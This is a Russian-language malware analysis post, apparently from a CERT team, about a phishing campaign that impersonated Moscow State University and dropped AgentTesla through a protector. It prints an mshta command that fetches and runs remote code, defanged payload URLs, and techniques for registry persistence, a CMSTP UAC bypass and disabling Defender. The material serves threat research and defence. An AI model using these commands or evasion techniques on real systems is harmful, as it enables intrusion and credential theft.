![](https://habrastorage.org/webt/ux/g6/8y/uxg68yzwy2dlrgnkig103npsdj0.png)
"Привет из МГУ. М.В.Ломоносов,
Внимание: по рекомендации вашей компании мы выступаем в качестве подрядчика МГУ. М.В.Ломоносова под руководством доктора философских наук. Виктор Антонович Садовничий. Нам нужно ваше предложение по нашему бюджету на 2020 год (прилагается). Подайте заявку не позднее 09 ноября 2020 года. Спасибо и всего наилучшего".
Получатель этого странного послания, даже очень далекий от научных кругов, сразу обратит внимание на две вещи: как безграмотно оно написано, а, во-вторых, ректор МГУ может быть философом лишь по состоянию души — Виктор Антонович на самом деле доктор физико-математических наук, но никак не философских.
СERT Group-IB подтвердил догадку — сентябрьские почтовые рассылки от имени руководства МГУ им. М.В. Ломоносова — фейковые, более того они несли «на борту» популярные вредоносные программы для кражи данных (Data Stealer) — Loki или AgentTesla . Однако сегодняшний пост не про них, а об одном незаметном помощнике — протекторе, которые защищает программы-шпионы от обнаружения. О том, какие техники использует этот протектор и как аналитикам удалось сквозь них добраться до исполняемого файла AgentTesla, рассказывает Илья Померанцев, руководитель группы исследований и разработки CERT-GIB .
Механизм распространения
В самом фишинговым письме — его можно хорошенько рассмотреть на скриншоте ниже — отправитель представляется подрядчиком вуза и предлагает утвердить бюджет. Среди получателей сообщения — финансовые, промышленные и государственные организации России.
Хотя текст написан на русском языке, грубые орфографические, грамматические и стилистические ошибки наводят на мысль о том, что атакующие — не носители языка. И, скорее всего, они использовали для составления писем машинный перевод.
![](https://habrastorage.org/webt/ku/ta/l2/kutal2300yuwxtbdaox_qmgtc5e.png)
В письме два идентичных вложения с разными расширениями:
![](https://habrastorage.org/webt/lg/l8/pb/lgl8pbgkywnkp53us4vq7tjmgr4.png)
Заражение
Исходный файл — презентация PowerPoint в формате ppt. Дата последнего редактирования — 5 ноября, а автором указан некто Masterofyourfather.
![](https://habrastorage.org/webt/ud/e4/5z/ude45zfkpzc0ugo96tf2_5xjuos.png)
В документе три небольших VBA-макроса, которые приведут к выполнению команды:
mshta http://%748237%728748@j[.]mp/aksnkwsfvyudnddwid
![](https://habrastorage.org/webt/ja/kk/xm/jakkxm0n080rwksbijx2bqrp_jc.png)
Сокращатель ссылок j.mp перенаправит на ресурс ninjaminjatumhmmkk.blogspot[.]com/p/8a9.html.
При открытии страницы, на первый взгляд, может показаться, что автор еще не разместил полезную нагрузку и дальнейший анализ невозможен.
![](https://habrastorage.org/webt/zn/wa/og/znwaogfmhdr5ybly9e4my_pj8us.png)
Однако наша система Group- IB
Threat Hunting Framework и ее модуль Polygon, позволяющий осуществлять поведенческий анализ файлов, извлекаемых из электронных писем, опровергла это предположение, продемонстрировав, как развивается атака дальше.
![](https://habrastorage.org/webt/p4/s8/ww/p4s8wwg_ik08mx98yqu96mvt46g.png)
Если заглянуть в исходный код страницы — становится ясна причина такой скрытности. Ресурс Blogspot позволяет вставлять script-теги в теле блога. А поскольку все современные браузеры по умолчанию игнорируют скрипты на VBscript, при обычном открытии страницы ничего не происходит.
![](https://habrastorage.org/webt/ht/zd/8y/htzd8yunzohuspyrnpyvofylxq0.png)
Базовый скрипт
Базовый скрипт совмещает три задачи:
- Закрепление в системе
- Обход систем защиты
- Загрузка основного модуля
Рассмотрим каждый пункт в отдельности.
Закрепление в системе
Для персистентности ВПО использует механизм безфайлового закрепления. Для этого в реестре в ветке “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\” создаются ключи со значениями “mshta vbscript:Execute({Тело скрипта VBS})”. Это позволяет хранить полезную нагрузку целиком в реестре, при этом реализуя автозапуск.
![](https://habrastorage.org/webt/c-/eg/j_/c-egj_dhwwr9dl4nw5jtsupg2cg.png)
Также реализована альтернативная возможность автозапуска через отложенную задачу (строчка 21 на скриншоте сверху). По указанным ссылкам расположены страницы Blogspot с полезной нагрузкой, размещаемой аналогично исходной. На момент анализа ни по одной ссылке вредоносного кода не оказалось.
![](https://habrastorage.org/webt/dh/7o/8n/dh7o8ntb_ukourz3ffq7gl2ho18.png)
Ссылки:
- zoomba619.blogspot[.]com/p/5e.html
- dodumdum6.blogspot[.]com/p/8a9.html
- milltu99.blogspot[.]com/p/4w5.html
- potatokapoli.blogspot[.]com/p/5e.html
Загрузчик основного модуля закрепляется в ветке “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\” в ключе sexformoneyforsex, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу “HKCU\Software\juggga”.
![](https://habrastorage.org/webt/df/uy/zb/dfuyzbc0jhzpsuv77ffa6yarcsk.png)
Модуль обхода встроенных систем защиты Windows закрепляется аналогично по ключу Defeduckgotfucked, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу “HKCU\Software\phuttalylo”.
![](https://habrastorage.org/webt/wk/7r/i0/wk7ri02yiv-pq5lsuv0nd44mb28.png)
Обход систем защиты
Модуль обхода встроенных систем защиты Windows хранится в реестре в обфусцированном виде. Полезная загрузка записана строкой в виде ASCII-кодов, разделенных символом “-”. После декодирования нас ждет еще один простой скрипт, который содержит отраженную Base64-строку, в которой символ “0” заменен на “.”.
![](https://habrastorage.org/webt/-t/sd/ad/-tsdad1zzpg9bcvwy_mvimgenkk.png)
В итоге мы получим небольшое .NET-приложение.
![](https://habrastorage.org/webt/ri/mf/hf/rimfhf9xeoxothlj1uyvts5ee_o.png)
Основной класс CMSTPBypass выдает механизм работы файла.
CMSTP — это приложение, связанное с установщиком профиля Microsoft Connection Manager. Оно принимает файлы INF, которые могут быть снабжены вредоносными командами для выполнения произвольного кода в форме скриптлетов (SCT) и DLL. Это доверенное приложение Microsoft.
ВПО сохраняет в папку %Temp% файл inf с произвольным именем и следующим содержимым:
![](https://habrastorage.org/webt/ms/y-/ds/msy-dssycqkidh-fw2m3jfjak-w.png)
Строка “REPLACE_COMMAND_LINE” будет заменена на команду запуска vbs-скрипта из папки %Temp%, который ВПО извлечет из своей секции ресурсов.
В коде можно заметить упоминание NyanCat, автора известных крипторов и data stealer'ов. В его официальном репозитории на GitHub мы нашли исходный код модуля. Видимо, его позаимствовали атакующие.
![](https://habrastorage.org/webt/wp/un/hz/wpunhz4vchb4tdipc_cdcwbyy-q.png)
Запуск осуществляется через “c:\windows\system32\cmstp.exe”, после чего ВПО начинает отслеживать появление окна cmstp, чтобы послать ему нажатие клавиши ENTER.
Запущенный VBS-скрипт фактически снижает встроенную защиту Windows до нуля:
- Если скрипт запущен не с правами администратора — он будет перезапущен с повышением привилегий.
- Для Windows Defender применяются следующие настройки:
- В исключения Windows Defender целиком добавляются диски C:\ и D:\, а также процессы Msbuild.exe, Calc.exe, powershell.exe, wscript.exe, mshta.exe, cmd.exe.
- Отключается UAC.
- Для пакетов MS Office версий от 11.0 до 16.0 отключаются все настройки безопасности.
Загрузка основного модуля
Загрузчик размещается в реестре по ключу “HKCU\Software\juggga”. Хотя ВПО предусматривает его автозапуск после перезагрузки, он будет также исполнен во время работы основного скрипта. Для этого запустится оболочка PowerShell в скрытом окне:
![](https://habrastorage.org/webt/kz/_1/o4/kz_1o4b23ntnf6ylfoaq-tv3l3o.png)
Механизм обфускации загрузчика аналогичен рассмотренному в предыдущем разделе:
![](https://habrastorage.org/webt/by/9p/ni/by9pnic-razir5zpxyzlwzmmhck.png)
![](https://habrastorage.org/webt/qi/pw/hg/qipwhgw7utudzhwnbrmq1esulpq.png)
Загрузка осуществляется по ссылке paste[.]ee/r/ZonQw:
![](https://habrastorage.org/webt/es/jo/3-/esjo3-ysiquc7ix_kxww9etpy0s.png)
После декодирования получаем исполняемый файл, который представляет собой обновленную версию уже знакомого нам AgentTesla.
Agent Tesla — это модульное программное обеспечение для шпионажа, распространяемое по модели malware-as-a-service под видом легального кейлоггер-продукта. Agent Tesla способен извлекать и передавать на сервер злоумышленникам учетные данные пользователя из браузеров, почтовых клиентов и клиентов FTP, регистрировать данные буфера обмена, захватывать экран устройства.
Заключение
Мы рассмотрели любопытный протектор, вобравший в себя большое количество различных технологий по противодействию существующим системам защиты для конечных устройств. Если в организации нет современных систем, способных полностью автоматизировано останавливать целевые атаки на организацию, и детонировать — принудительно вскрывать — подозрительные почтовые рассылки в изолированной среде, то рассмотренное ВПО позволит «протащить» на машину и закрепить в системе любую полезную нагрузку, даже такой хорошо известный и выявляемый большинством антивирусов data stealer, как AgentTesla.